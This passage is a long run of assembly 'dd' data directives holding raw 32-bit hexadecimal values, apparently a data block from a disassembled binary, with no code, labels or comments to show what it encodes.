		dd 0E8FBBC49h, 0C5E42FAh, 65D97164h, 99241210h,	76810CF9h
		dd 5431ACA9h, 809AE8F3h, 0C43F6695h, 490821EEh,	88E86820h
		dd 222F1E34h, 0A1F159D4h, 0ECCEBDD8h, 1CB3EC20h, 5D4F2088h
		dd 0A2EE0125h, 891D5FCAh, 0A02C338h, 0F1408463h, 639D6EAh
		dd 19E5C663h, 0F36E09EEh, 0D6B24021h, 1CC2AB9Eh, 44B85AA7h
		dd 40E40641h, 0D71FC73Ch, 15DC00CFh, 970DDA5Ah,	0D5005C40h
		dd 0AD071042h, 6F91B2Ah, 5BA811D0h, 2207B106h, 7DB1DC42h
		dd 85FAED50h, 6098907Ah, 6AB7212Bh, 4E005DDCh, 89F858DAh
		dd 6D86045h, 0F4EAA202h, 7801D0F2h, 540A0E42h, 9DC807C4h
		dd 6683D39h, 0B1A43800h, 833FBE14h, 2CCFBA00h, 725E9590h
		dd 0E0EA0073h, 94C352F4h, 0B35CB43Dh, 0B89E00A2h, 0AC9A9BBBh
		dd 154072Fh, 501298E2h,	6B493E66h, 37F7801h, 0DE7D15B7h
		dd 3F7363FCh, 0EB8FFDC1h, 8B00E180h, 85137C12h,	87494700h
		dd 6459A3FBh, 0EC29E630h, 9E77008Bh, 0B0C49F0Eh, 0F9001680h
		dd 6F5625E4h, 8AA8CFh, 94A208AFh, 0FBFF484Fh, 97B73A00h
		dd 95675209h, 13E0FF8Eh, 0C08A0F0Eh, 7A6FA904h,	77E027EFh
		dd 2C836519h, 0CCF1F00h, 0A324C31Eh, 5822C756h,	0EED960F0h
		dd 18004DE5h, 536325EBh, 58939E12h, 2F0063C5h, 0B6FDFF13h
		dd 2501EC28h, 1E10C1A3h, 0DA6063A5h, 71C20040h,	0DD7A49CCh
		dd 567492FFh, 0F220A00h, 5119816Dh, 0F47B28C9h,	0B043E1ACh
		dd 4EF9C0E6h, 0F02339D2h, 40F0CD1h, 0D40CF48Eh,	9E009810h
		dd 80B83277h, 6957BCh, 0CDEB3CD6h, 31F49CC3h, 0EB69103h
		dd 7179AC98h, 0A8444429h, 84EDCF44h, 0D4898371h, 0BD172841h
		dd 3103912h, 13B58B82h,	0C42F0C14h, 92445528h, 3DA42065h
		dd 2519CC42h, 476151B0h, 48AEA414h, 0B2234210h,	5221DD24h
		dd 826412ABh, 25B9CA64h, 351404E9h, 28E84AA0h, 94287F08h
		dd 3A1964C5h, 0BD5C29A9h, 9F61BC51h, 4280EDFFh,	0D8B0F429h
		dd 955A26B2h, 392C4Fh, 5D4B60CEh, 90008E76h, 0F9B220FFh
		dd 0F2BFBB0h, 0E4721D0Ah, 0F8689520h, 5A02131Bh, 19ED9DA1h
		dd 0B1566005h, 8A633AF5h, 8E807EB8h, 3E384218h,	80EB5B45h
		dd 9F97F712h, 93DE23h, 4B1DA8E1h, 0C6676E3Dh, 0CC1C47F0h
		dd 3280DD06h, 0D038548Ch, 27DF0045h, 41F1EB0Ch,	0B24C184h
		dd 10018B7h, 2034E693h,	90B000A9h, 5C956115h, 2B312F3Ah
		dd 0D94FD0E1h, 0B630C0h, 0D606DC4Ah, 944017FAh,	7876303h
		dd 1C78F4Bh, 0D3CB1990h, 80C33F60h, 7392EC68h, 15BF10Ah
		dd 0FA31AE54h, 0D97C6CFEh, 0C58083C3h, 0A1105001h, 7BE0A74Fh
		dd 0D8E30062h, 8393A603h, 0D7031465h, 0E7B23F52h, 5D848068h
		dd 66D400DAh, 14541CD6h, 0A007692Fh, 4CDF7686h,	156ED950h
		dd 0E4940017h, 4F9FEA12h, 98005838h, 4885F572h,	0AC1B02h
		dd 0F70EBAA3h, 373A6293h, 0F1C65F00h, 5249631Dh, 0E01B6268h
		dd 0C05F705Dh, 152B42h,	6D65DAF7h, 959CC8F5h, 0A9F86260h
		dd 37E4FD3h, 0FD52AD72h, 9188334Ah, 2C005C1Fh, 871D1785h
		dd 9BA230h, 67156A4Ch, 5FA4B8B9h, 80EA1F3Fh, 8C212BA9h
		dd 3F7880h, 8D8BA285h, 2326670Fh, 0F04148h, 22041EE8h
		dd 2F06871h, 75AABB2Fh,	1CE044B1h, 0B400742Dh, 95AF3BCFh
		dd 84C865h, 473153A5h, 6E06D42Ah, 0AEF62F00h, 211B9796h
		dd 9EFC01h, 2ABFDE69h, 3846E37Bh, 14E9ED00h, 98F4EC7h
		dd 6B9F01C3h, 0F4ADBB90h, 0CF88ECD5h, 99C2FB00h, 0C71C76FEh
		dd 0A6B400F7h, 4F46B1A1h, 10C08E56h, 6EFD2360h,	42E304E6h
		dd 0D0B2C47Dh, 46F35154h, 0C1C5800h, 7AE6AAE7h,	1474019Ch
		dd 8B502E5Eh, 0A48DCC9Eh, 0EF070400h, 0EA5C990Ah, 89A500F1h
		dd 33C1ED16h, 0EB3D0DB5h, 693FF2B4h, 926F008Eh,	0F1D91E8h
		dd 85060096h, 0E7123034h, 0B200BA74h, 5CE208B5h, 3C4CC20Dh
		dd 0C685A1A7h, 878F38CFh, 678460F6h, 69380BB1h,	50E40020h
		dd 9AB2A842h, 0FB94005Ch, 0CDE55304h, 35018557h, 773E90D5h
		dd 69D525C1h, 4709F8h, 4DE9EB19h, 54BE1F87h, 8ACF200h
		dd 979EC017h, 0A55F3E11h, 0B5591Dh, 66B720D7h, 0D50021B2h
		dd 3FC665F3h, 367D99h, 17FF429Eh, 0A788EC23h, 6427131Eh
		dd 0AEBE35C3h, 0F074F86Ah, 8BC41CEFh, 0BB40805Fh, 604E55FAh
		dd 1FFDB39h, 44C9EB4Bh,	19EC7088h, 6C7500A1h, 81DD59C1h
		dd 7700CE34h, 5117C03h,	382C8EB0h, 2600A28Ch, 40615D5Ah
		dd 0A800594Fh, 9A7DA953h, 45CC19Bh, 0E63E6A21h,	0BCEC8012h
		dd 2B385042h, 0FB711FC3h, 4474D3C0h, 7B970h, 6A881CE7h
		dd 0D5610C29h, 0C4391100h, 7E64365Bh, 0FC00028h, 6953197Ch
		dd 2000EA8Fh, 0F8263AF2h, 1281ACEBh, 0FB25D061h, 0D73CCC00h
		dd 28E354h, 0F122B653h,	751B95E7h, 0F8FA643Fh, 8BAD3E02h
		dd 0E08C8011h, 9CBC0Dh,	1E91E219h, 0C02AE9D5h, 1D20500h
		dd 443ACBEEh, 2E063CE4h, 0C063FD1Dh, 723F45B1h,	940E922Dh
		dd 0A3A0DD4Dh, 0C088106Ah, 327630Eh, 2E91CC15h,	7D8C760h
		dd 0EF3A11A8h, 0D3E90FF0h, 99C47F5h, 0B157EE00h, 2629003Fh
		dd 0B9C4DA0Ch, 8C28957Ch, 5203B460h, 0C88A4EDEh, 0A4509F16h
		dd 8038D5h, 0B29DFF99h,	0C6592F89h, 6C9AF209h, 2A0F80BDh
		dd 77972D8h, 0D31B1AB4h, 513C0346h, 0A21C54D0h,	2543C900h
		dd 0FFD4EB7Dh, 8C395089h, 3E1A1CDDh, 0EC0E00F0h, 0B36CCB0Bh
		dd 9DB95D3Bh, 6B8370A2h, 9044A5E3h, 5EDA0Fh, 12D6EB82h
		dd 0A6A27823h, 3BFB6D1Dh, 0AC185940h, 2DBAB0h, 0F2D95D7Eh
		dd 7B0BB9A4h, 8D58FB75h, 0B03E0072h, 0C13A8BCh,	0AC581E71h
		dd 1F860631h, 5900905Dh, 99CF9B06h, 0E2C2F51Ch,	5818C06Ah
		dd 0FC9C194Bh, 12DD9D00h, 2A1A0DEFh, 88DC002Fh,	61173C4h
		dd 14005380h, 5B9E49Dh,	0AF21AE5h, 0F1650BDDh, 0C3CF1EB4h
		dd 44BB6B9Eh, 0FB3B8990h, 0F4011F72h, 87B963CCh, 9C4010A4h
		dd 12C34126h, 0F3D3FAh,	7C0E9B28h, 5407E2C7h, 67D82342h
		dd 1C83A400h, 73992463h, 0B35100DFh, 8BCA3BD0h,	5B41D500h
		dd 793E6996h, 9A15007Fh, 64514C0Dh, 0D0E06C59h,	0DD194800h
		dd 0CC5313BDh, 0C1EE39DFh, 0DB8DAA80h, 80DCAD02h, 4DB04A00h
		dd 0A7DAA4AFh, 20294C57h, 714FEB01h, 0D4595814h, 9C0BF29Ah
		dd 0EAF6E3h, 2AD9C08Bh,	0C8EF0040h, 5F66470Ch, 8D00FC2Dh
		dd 0C541EA42h, 2EBF223Ah, 804849F9h, 0DA599A19h, 0F0929F2Ah
		dd 0DD2F2501h, 3162E268h, 1EA80430h, 0CBAEB4ABh, 0F7601Dh
		dd 0F166850Bh, 5C50047h, 0A94DCFF4h, 1C00C462h,	0DE21704Eh
		dd 0A4FA2Fh, 0BA83ABE1h, 6A13EF81h, 0D780F01Fh,	8000424h
		dd 74B88AFh, 4F010014h,	25175FCEh, 830082F7h, 1D286860h
		dd 93656Bh, 0F13A161Ah,	37A35CBFh, 3447AA0Fh, 0DC102053h
		dd 1856A7DBh, 0A04666B5h, 0D102E45Bh, 31C4C343h, 0AE5E4053h
		dd 7096001Eh, 8B4B2CAFh, 0D20073ABh, 252FFD49h,	0E8CE7A21h
		dd 6BC1004Ah, 2EEEF6B6h, 0FE008A9Ch, 2B8A5EDh, 9A362A4h
		dd 0CE6FEC50h, 0B7012C00h, 0F1009844h, 0A4EE46E5h, 4F89103h
		dd 3DECA6B1h, 0C09087ADh, 64A9F080h, 6ED4E904h,	70C02857h
		dd 145DF65h, 4F6D18F7h,	0CF76A76Ch, 1BFC002h, 0A05EEF29h
		dd 79AF9688h, 21E46070h
		dd 850C3EDAh, 8A00227Fh, 419AEA33h, 382DC0F6h, 58035012h
		dd 0A27B380Bh, 2784EE0h, 9FFC3902h, 0E01E6B98h,	0F0EB6C0Fh
		dd 0E01A00A1h, 0A49DAA2Fh, 0BF2CAD32h, 0D3002CE8h, 0FAF17A4Dh
		dd 0BE451365h, 0C4140070h, 0CCE71847h, 8071F338h, 5B228CBAh
		dd 4F207EFh, 4B39C25h, 6904C2EAh, 0DD041044h, 166B8A30h
		dd 0E4712880h, 1E2C0092h, 0C559B999h, 76588863h, 945F005Ch
		dd 1CF23C06h, 1CCEEAF9h, 80C29169h, 1492D6D5h, 800DB1F1h
		dd 0A8E2ADB5h, 4CBEFAD8h, 0DF054855h, 400D1812h, 2C523B0h
		dd 0E609B7F1h, 204C2A50h, 0D426D368h, 79880943h, 0FC0E44D1h
		dd 9415F6E0h, 8A051AB9h, 0E682D525h, 0AEA96480h, 0E27E0085h
		dd 0FA324BCCh, 0CE0316C6h, 0C58219FBh, 1B8A012Dh, 0FD70B693h
		dd 412830DEh, 0A4F50C00h, 3B9E12CAh, 13F0017Ch,	57E52D9Dh
		dd 888020A2h, 0CC002F73h, 0D2869487h, 1C97DE39h, 410384A4h
		dd 92A8E8D5h, 0A513D0EEh, 52B59500h, 0B623E13Fh, 0B4C8072Ah
		dd 118F71D4h, 70D3275Bh, 1090433Eh, 4D60DB00h, 7C50DC4Eh
		dd 8CF301ACh, 5D7FD9C3h, 4C8AF88Dh, 0EF2DFA03h,	0F8441825h
		dd 3715110h, 6428DC6Ch,	0ED804DE2h, 74908570h, 88FFA700h
		dd 0B6301110h, 52A4A8A8h, 0C1560094h, 0D9511A2Dh, 1400E245h
		dd 6D585C0Ah, 92B1050Fh, 8BE71358h, 7FCA0080h, 8A44803h
		dd 98044090h, 0F5ABB85Ch, 0F837A900h, 8883FE7Fh, 7EB1BA8Dh
		dd 72961239h, 84DC00E5h, 8027588Ah, 92A63609h, 9BA0800Eh
		dd 0AF3C2Fh, 0B7F4DCF6h, 29189D2Bh, 45058701h, 0C9B42EB1h
		dd 0B88219EDh, 2D5E2431h, 4F1F404Eh, 824B9FC7h,	9458006Ch
		dd 3D63D34h, 0E447DD0Ch, 41D7038Dh, 240D2D1Bh, 0B5125338h
		dd 4442ED6h, 90D10B63h,	97EC14E9h, 0A570C512h, 0B6AB0A0h
		dd 0DCD0CA01h, 88BDAA58h, 1FB814FCh, 701B8Bh, 0ED3D4D5Eh
		dd 0CB1E05CDh, 230E66F8h, 4072046h, 5C405F80h, 0A000D1BDh
		dd 368C1179h, 0D730EE93h, 4CEA109Fh, 61F4C3h, 6A68D23Bh
		dd 0EB7A8A6Dh, 0E275A300h, 0CA249359h, 95A7007Dh, 0A8DBFEECh
		dd 0B63ACC03h, 0BBF4D03Bh, 5115F50Fh, 18FD20DFh, 176BA91Ch
		dd 1DF916DEh, 19F7EC3h,	99CD8004h, 63BFACECh, 75232200h
		dd 8DB24AC8h, 0FEE200D0h, 2D3C1BC5h, 34B06A91h,	0B7A24612h
		dd 3FE90098h, 0CE807638h, 9535FC27h, 5907E1DBh,	56C27BE5h
		dd 4E7AC390h, 964C14BDh, 0B809CC7Eh, 0A005A65Ah, 0E970C849h
		dd 67633Dh, 79A3E5EDh, 0B84759C7h, 0F9423820h, 0F4E26E00h
		dd 0D31C0481h, 7093B90Eh, 1946C096h, 1359F30h, 3CF8F6F2h
		dd 32025B60h, 30B22E24h, 0E9256800h, 132467h, 4D8EDB2Ch
		dd 3D3F73Fh, 9D001970h,	0E37A8747h, 903BA070h, 9E0041Bh
		dd 903AA415h, 83D7B3A0h, 0EB061600h, 60C71EB9h,	0B61305FEh
		dd 0C0471229h, 0FF1CE672h, 377D43F4h, 31B7330Fh, 0FD4DA0E8h
		dd 0C06EC890h, 0A94E53B0h, 0C204CD72h, 0FFFA8AC5h, 340C9881h
		dd 7ACC8848h, 5C6913D4h, 0D3180E30h, 2C8458C6h,	0DE26BB80h
		dd 15B4A12h, 942008C1h,	0E7CC8431h, 0E59B00D9h,	3F57B57Ch
		dd 0C025286Eh, 95C80416h, 9E654FC0h, 1CD7195Bh,	0E8621805h
		dd 7500C44Bh, 79E85695h, 113523h, 8C0A773Dh, 788EA781h
		dd 0D910E300h, 0DC039061h, 20600E95h, 47808545h, 0B567A38Eh
		dd 7E3E8A00h, 0DB743B5Dh, 43F60028h, 75093C04h,	11F203B2h
		dd 1E7AD807h, 0C610A445h, 7829E4Ah, 67726ABh, 0FAAAB180h
		dd 74BC40C0h, 0A5003109h, 5C5BB4FCh, 7E62C2h, 3A72381Ah
		dd 0E8D8541Eh, 0EF499000h, 9FF81F4Eh, 2FCB87Bh,	9BAD9C8Ah
		dd 106157D1h, 0CCAAC8A9h, 183D032Ch, 0E4DF0100h, 71A6A01Ch
		dd 7C089A25h, 4C80006Bh, 0C1230874h, 1702EC56h,	6E82DB87h
		dd 71B0E164h, 758EFCh, 8D26597Dh, 5B6B1848h, 559D9800h
		dd 0C7202987h, 4BE0F867h, 469870E4h, 0F8A0D612h, 0D7027AFh
		dd 4F58621Fh, 0E36BCFh,	74604A3Fh, 0AE10C075h, 0F9F1EAA3h
		dd 0F4FBF388h, 78D02CF6h, 0A45D0020h, 6C3213B3h, 284B3624h
		dd 80C75708h, 9985329h,	19306A54h, 77D366A4h, 615C0055h
		dd 3AFBEE87h, 4FB8BFB4h, 0C76D1100h, 3D0DA15Ah,	2AB90066h
		dd 7B72F505h, 0BB50E347h, 0A90073B2h, 0E29AE543h, 4A8DCD4h
		dd 7B108339h, 94846Fh, 9F915ABFh, 5900C0FEh, 1E2B69DCh
		dd 0FEAFBA22h, 0C4A20792h, 0F30DBD45h, 16806DABh, 0B500E3E2h
		dd 0CE720988h, 26A418Dh, 0ED7CEE05h, 40607164h,	0F6426286h
		dd 0E81AE900h, 0F078D7B7h, 1F4CCE00h, 967E8456h, 55A20008h
		dd 49912502h, 17778C41h, 0AD8F5101h, 0D026B76Bh, 5AC6960h
		dd 0FF53FA25h, 0DA980E81h, 0D2C0D875h, 52B1C422h, 99C15300h
		dd 17DDCF14h, 9846E81Ch, 0EBBB0650h, 11882FD4h,	1B3F820Fh
		dd 23514017h, 4F21A2h, 0D622D9BFh, 6E0309A1h, 0E5E833EEh
		dd 40E9AF00h, 97461506h, 0A0A0A00Bh, 0ED20557h,	1EAA3Dh
		dd 811F9E83h, 0AF24767Ch, 0A100D829h, 0F12334F8h, 820C0025h
		dd 1136F3FEh, 0CC00665Ch, 19694E6Eh, 0B63E0Bh, 37B19CF6h
		dd 0D4E36C4Dh, 304C783Eh, 10C411DAh, 0ABC901BDh, 0B81505A9h
		dd 0F7898BACh, 2BB01031h, 19213D64h, 82942724h,	57743DCCh
		dd 41168840h, 0EBCDDB00h, 0D7B8C3C7h, 5F7D0052h, 0F29D09EAh
		dd 0D6072859h, 9CFB6E68h, 5C168059h, 61AE46Ah, 3892E535h
		dd 0CE0021E0h, 0C8C0F23Ah, 551FCCAh, 0E3794715h, 0A8D08023h
		dd 2F005D69h, 0CC579E32h, 4B4B18Eh, 70B2B35h, 5F28A0D4h
		dd 4D679900h, 0CEF1E676h, 376B0091h, 5304C750h,	64B8829Ch
		dd 0A3183A00h, 738743C8h, 0A0C00951h, 0A4E0161Bh, 6D3949B3h
		dd 5408E65h, 400D7E2h, 3112F8EDh, 34EB588Ch, 0BC332404h
		dd 3A54B084h, 5E0EA900h, 0F7E4DBCAh, 562C0046h,	8E162A11h
		dd 0A00088E7h, 8AFF01Fh, 0B219B93Ch, 9CCCB12Ch,	8D00E05Fh
		dd 675A8604h, 5DCD14h, 6171348Ch, 0E03BFC9Ch, 8B5BB01h
		dd 0CA2BAE5Ch, 0F14E3F4h, 91B15064h, 9F988EE0h,	160F0766h
		dd 811AA6ACh, 24EAB8E8h, 0E89085E8h, 43026ECh, 2D4126Fh
		dd 8C2A9F7Ch, 93E42070h, 989E4017h, 81F9813h, 90803CA4h
		dd 79B8F252h, 67AF0974h, 820E26Ah, 0B5471CD8h, 0A03B27h
		dd 0CBD91EC4h, 0EBF242h, 21AF0D5Eh, 0FC12D23Ah,	17D75200h
		dd 5429ACD0h, 0BBE503DCh, 0F056A471h, 4925B580h, 0AFAEBC00h
		dd 55ED3191h, 4C50987Bh, 0DF1EE2C0h, 1865772h, 0A30D9B8Ch
		dd 9DFEE4C2h, 0C3F7E204h, 480E340h, 2FBCD53h, 0C5EA7971h
		dd 0A8D22532h, 4868983Ah, 9F0C8110h, 61306FDCh,	341900A5h
		dd 4DDD6B84h, 4526C7E9h, 45264051h, 1172802Dh, 51E64F1h
		dd 7FC88ED8h, 0EA94009Ah, 922DB632h, 3AB31917h,	0ADC0001Eh
		dd 44C37114h, 0E905254Dh, 47BC6C80h, 0B43F59FEh, 0EDFF82E2h
		dd 401AF85Fh, 0F64B08h,	59DD9BCBh, 197886AEh, 0C916EC00h
		dd 9EB180DEh, 18389066h, 517E89CDh, 7900C63Ch, 7FD49B1Fh
		dd 6F4570h, 288F14DFh, 9DB33605h, 2C088607h, 0E4009424h
		dd 70938D2Ah, 0A44000F3h, 8F6A8098h, 98B899FFh,	4ED41203h
		dd 1D9AB824h, 0CFB9BF10h, 0BE091F5Dh, 8BFDA480h, 1A002DC2h
		dd 49628710h, 0BED8218h, 84938AC4h, 0A6C21440h,	0FFC66B00h
		dd 23B0FB98h, 0B882004Ch, 0A574E73Ch, 44098901h, 9A9FC5FEh
		dd 50176074h, 482549D1h, 4075E201h, 348A76D8h, 6A07E874h
		dd 1F6415F7h, 0B6E52971h
		dd 92501880h, 0D767F34Ah, 7177400h, 7172D042h, 0D39509E0h
		dd 740F946Bh, 2ED80077h, 68C51DA9h, 0DE103F60h,	2C9A2051h
		dd 8A466F7h, 5F81DC21h,	0FCEBF253h, 0EEB78424h,	0D90101EAh
		dd 0CE88DFDh, 6321F0B4h, 97AE9300h, 77380DB7h, 25BC0C39h
		dd 9BC8F9CEh, 64EA480Bh, 13D48017h, 0CB5531h, 8F3D74A1h
		dd 0D86BB9D3h, 0F7779F00h, 0F5FC0B3Ch, 984ED0h,	0D6DA46C8h
		dd 0FA01D4B0h, 0B5BF3FDBh, 0CE94EBBh, 383CB570h, 35025310h
		dd 4B8ADA43h, 0C7EE2EC0h, 0BE541938h, 68B10041h, 96766269h
		dd 0E2280093h, 7084EE4Ah, 4C006527h, 17DBAF18h,	3BBB2901h
		dd 8009E36Dh, 94073628h, 0F2D36216h, 0E5B809E3h, 0EC00DC3Eh
		dd 0B2FB6CB6h, 0E31351Eh, 0D95D0D8Fh, 0C67C2C57h, 0EC39DA45h
		dd 0FF7A400h, 0C17FD5Ah, 0F255AA00h, 0E34164F9h, 1C9F3AE6h
		dd 0AF60FAB0h, 99005B31h, 154F6BCh, 46090C0h, 1441BA08h
		dd 53890A9h, 7013A21Ch,	4C40230Bh, 6652F701h, 0D2B80090h
		dd 713263F4h, 31242BBDh, 3DA658h, 0E26C48F7h, 245781A5h
		dd 0E8AE4Dh, 0C244CCDAh, 0B90364C3h, 0FEA3D60h,	0A3DDD0FFh
		dd 0BD1404B1h, 0C07E1927h, 0D6B3E1C4h, 248F5000h, 7B0445A2h
		dd 4B3A048Ah, 0A313E67Ah, 6BA901ECh, 0C6BF5D3Bh, 0E19990D4h
		dd 2151D70h, 0EE93377Ch, 7860A1D3h, 1D0130D6h, 23226075h
		dd 49F0F38Eh, 0B09873h,	2A92905Fh, 0C5A4E50Eh, 45E4AF0h
		dd 130063BCh, 0FFFBEB71h, 4300BEF6h, 0E6159392h, 60E0A403h
		dd 0B4233818h, 0FAFCA246h, 1FC22D02h, 400BD817h, 0F01670h
		dd 18AF8D4h, 0C8B8DBE0h, 1393EC00h, 0C4EFFF4Fh,	256D0981h
		dd 0BC0053CCh, 0EA8FFB4Dh, 32DDDE00h, 0DFA05643h, 2DB71D0h
		dd 0C2FE4C80h, 400D2Bh,	0A17A6CBh, 0B0906FE1h, 2F9BD9h
		dd 0CA5F9D72h, 94F40362h, 0C91E0200h, 0C68FB05Ch, 90F300D3h
		dd 0DEC2BA78h, 96EA52BDh, 3C4474EBh, 12B65D62h,	93C4846h
		dd 0F74D24A8h, 1D2485D8h, 80689095h, 0CD5DD3B3h, 0A840DE60h
		dd 0C8EF42F3h, 63A03845h, 3FCC4E80h, 5D6DF521h,	426C4601h
		dd 6B53FA24h, 79F060h, 0B2C68AB3h, 5A737B6Ah, 0F63DEC90h
		dd 8F84973Eh, 3546A440h, 90958757h, 2F7D0B48h, 0A0C80A4Eh
		dd 50074A2h, 1B28D1E5h,	1948C7h, 934D80D9h, 0AB63FD24h
		dd 0F6948h, 0C10D55A9h,	2F61D5EAh, 0B0076236h, 0E221608Ch
		dd 0D95DCEE3h, 343B0E4Ch, 3CCB64DAh, 828910C0h,	0D4463023h
		dd 4BAFE060h, 80F0045Ch, 5A54C95Ch, 0CDCE0F15h,	5E47519Ah
		dd 3332A00Eh, 9CA05BFBh, 4201E5BEh, 0F58CCBF1h,	0AFDDCE77h
		dd 0E49C30h, 522EDB0Bh,	0E52F974Ch, 700C9E02h, 405A6E8Eh
		dd 179CFD10h, 0C7638789h, 938060FCh, 5900A682h,	9594D23Bh
		dd 8620B3h, 0EADE61D1h,	8883E2C7h, 0AD58E713h, 0A0651C5Fh
		dd 8EB10198h, 0A11A0F52h, 206DED54h, 34C2CC68h,	21AB3E12h
		dd 45F4C47h, 542E9B60h,	4979284Bh, 0A5DA1388h, 645020BEh
		dd 0EB5A2342h, 16EE1000h, 0A1775111h, 0CDED07CCh, 1F4CB7FCh
		dd 80904F69h, 22B96F4Eh, 0E76E0F4h, 2496B224h, 0BE6E9400h
		dd 7C535102h, 9DBC3086h, 22915518h, 0CCDBF807h,	0D282E947h
		dd 604C4242h, 0E19E32FAh, 4000D0BEh, 33A4BA13h,	0A71376FFh
		dd 6B003083h, 0ADD1F497h, 6C451C7Ch, 13724249h,	0C0806AB5h
		dd 0E9FF0851h, 6C8CA00h, 33832D48h, 78CC74F1h, 297E4Dh
		dd 0D9F70DDh, 0B5988134h, 162FC903h, 0BB9343A0h, 7F61A077h
		dd 0BE7ECDh, 95F3FB86h,	0BAE73D19h, 30800148h, 28536A96h
		dd 7DC302B0h, 0ED64292h, 41E42861h, 0CDB57BD0h,	0AEB2F0D9h
		dd 0D44D7A01h, 0C052AC64h, 9E88C4h, 41D68A79h, 0F0773D7h
		dd 200EA727h, 212075ECh, 2D7D009Fh, 92DCF589h, 0B8B85323h
		dd 66BC091Fh, 4EBC3825h, 85390513h, 0C561AF67h,	80889504h
		dd 77EEE04h, 0AC401D12h, 26E7F444h, 0BB82E4E2h,	20482B36h
		dd 7900D91Fh, 2F5589A1h, 3FF00Ch, 4FAA6F40h, 38E36C03h
		dd 0C5739800h, 15067F1Fh, 5795AECh, 40D80B10h, 0D7375CD8h
		dd 0B80A2DD0h, 0F0550DF9h, 16823201h, 0FC601A7Eh, 0CE9418C5h
		dd 52E18862h, 0FE487D00h, 219D6DA9h, 0BA82052Eh, 0BB9AF550h
		dd 26C0A887h, 56C16Ah, 8F1FAC46h, 0D543811Ch, 9E0E9201h
		dd 27C915F3h, 26F8D8h, 61E7A874h, 0EDE9D265h, 43903CF4h
		dd 0C01B8FAh, 307222FFh, 40C8B57Dh, 0ACF43BE6h,	62EB7380h
		dd 296B6FFAh, 89C73600h, 0E39CFF49h, 52E50013h,	0F64590D5h
		dd 0C4036E74h, 10D03FB0h, 0CCD8F0B6h, 0E16600F0h, 0A7628EDEh
		dd 2E04429Bh, 55875486h, 850B1080h, 12E90222h, 0DDCAED82h
		dd 9042E4AFh, 0FCE0E4CFh, 64056699h, 0DF378387h, 0EC24C780h
		dd 0A51300BFh, 2DB0D170h, 167B794Ah, 10D36224h,	360CF980h
		dd 888C31h, 0B0D8DADDh,	0BD939482h, 3B79C30Fh, 1C50E0EBh
		dd 48A68D56h, 580E127Ah, 0BC40142Dh, 0F76A4D7h,	0B9B8CF5Fh
		dd 0C9D86E2Ch, 523A5881h, 2ED1F4BEh, 49E57600h,	0E6D3C7B2h
		dd 86E060AAh, 0E10C28A6h, 9204E4F4h, 0DE956CFh,	86FCD080h
		dd 6C3802BCh, 3F1EC013h, 6B24DC60h, 0E578E0Eh, 6792A0BAh
		dd 432F0C2h, 80AEBB53h,	9E6C88ECh, 901DE237h, 90378830h
		dd 0DE000E4h, 98A31E25h, 811FE36Bh, 0BC9E5573h,	0A59C4541h
		dd 9820443Ch, 5C9A0071h, 2270EA6Bh, 44B098DAh, 28C4D013h
		dd 891EAEh, 0D473C3F4h,	0A00055ABh, 82CD392Eh, 171DED74h
		dd 1F42168Fh, 81500284h, 94608E69h, 0EF00307Ch,	17021A0Ah
		dd 76729BFCh, 0A4804D1Dh, 7CB4FB01h, 0F3EC1C20h, 80414CC9h
		dd 1165EAF8h, 0E2FDED6Fh, 0DE4F0F28h, 1261C69Ah, 0CFEA6D15h
		dd 8AC4D9A0h, 600ED05Ch, 778E06E0h, 0D41F48ADh,	61394300h
		dd 48708635h, 0DCF37600h, 0F4FB2053h, 0D5A301ABh, 0C0D8308h
		dd 24184BCh, 0E0AC85DAh, 614BD800h, 0D44F35F1h,	0B0994630h
		dd 9DF47CDh, 17AD8869h,	0BD4424A1h, 0E0D180F5h,	7B57314h
		dd 0A98526EBh, 0A6770055h, 0C3FBEF24h, 28F29501h, 0B78EB31Fh
		dd 64A3C74h, 41571ACh, 3504890Fh, 98D1328Bh, 0A14A7080h
		dd 0ADB1EBBh, 1A2E00A7h, 0F2A0F147h, 638D1700h,	36EB2ADCh
		dd 319A00A8h, 4A4FA40h,	2500E738h, 1267B748h, 4F5966h
		dd 0D53B6AF7h, 0B0CDF9EAh, 33D18700h, 7A91046h,	0E967018Ah
		dd 9383768h, 0DE0AD8A0h, 57DDA3Dh, 0C4412388h, 0FDBE5280h
		dd 3E81F69h, 4D5007AFh,	0BC294497h, 0CD620150h,	0D73530FBh
		dd 0E6388C2Ch, 8B31D200h, 0C654BE84h, 8221F212h, 39D904B4h
		dd 0CC508EA9h, 8449001Ah, 17E843D4h, 8500E660h,	8D2B2CCCh
		dd 7257376Bh, 3CAFEE9h,	0E59CC1EFh, 6903D6D5h, 103EB355h
		dd 0A616F14Fh, 348B830h, 1F0B6B8h, 103C55F3h, 0BFCB03C8h
		dd 0A8A8C210h, 73BD55Bh, 0C17550EAh, 70D8008Fh,	0B200FA8Ah
		dd 5F60DFE3h, 8D3E83h, 0DDE53B21h, 1785486Fh, 0DF00A6FEh
		dd 71E0D6B0h, 326E24Eh,	0D8F7A3AFh, 39020D66h, 93495DEAh
		dd 0D55481D9h, 864CA69h, 0B61F0C9Eh, 77A84DB4h,	0D56B4B0Ah
		dd 901C1066h, 63671CE8h, 9400F85Ch, 0FB22D0h, 8733AA3Fh
		dd 30322CDAh, 0B67E5301h, 0D4C2FC8Bh, 0CAD3D0h,	61FAD7A4h
		dd 0AC56C56Ch, 7EF14B00h, 2A295302h, 66B30050h,	4EC110EBh
		dd 0A400B7EEh, 0F769E070h, 960A0D5h, 77F97FA8h,	61910755h
		dd 1A873D05h, 0F2459880h, 0C5601BFh, 3EA15710h,	712ED417h
		dd 54849303h, 9089BEB2h
		dd 0E49D9BA4h, 1CE80026h, 94BACE2Fh, 0E47C41A5h, 0CCF2C0E6h
		dd 0C8070B00h, 4FDDD82Ah, 0C19B1F9Eh, 1AFC81D4h, 0D8144450h
		dd 9008CD2h, 3418B26Bh,	303716E3h, 6D61B1BEh, 3D009057h
		dd 4CC91945h, 0EFDCFh, 84D02475h, 0F299C192h, 90816B1Dh
		dd 229B96C0h, 2605EADDh, 0D3F464h, 0D0143BE1h, 16E87029h
		dd 98940A00h, 96696B3Ah, 0E0E90377h, 58086182h,	0BA857FC1h
		dd 0FC7C8111h, 24143184h, 64037840h, 1FD1FA4Dh,	58AC5544h
		dd 0FD4118BEh, 0E4081660h, 0E4246AAh, 3AF9BC7Bh, 6D84C0DDh
		dd 79678FA1h, 916418A0h, 7AE79000h, 0BACDF83Fh,	173500F5h
		dd 4B3DE2D6h, 4400A42Bh, 8992EB58h, 4FB9A3h, 0E30F72C3h
		dd 57343E79h, 0F285Ch, 0D22FCE0Bh, 68D67A7Eh, 57041174h
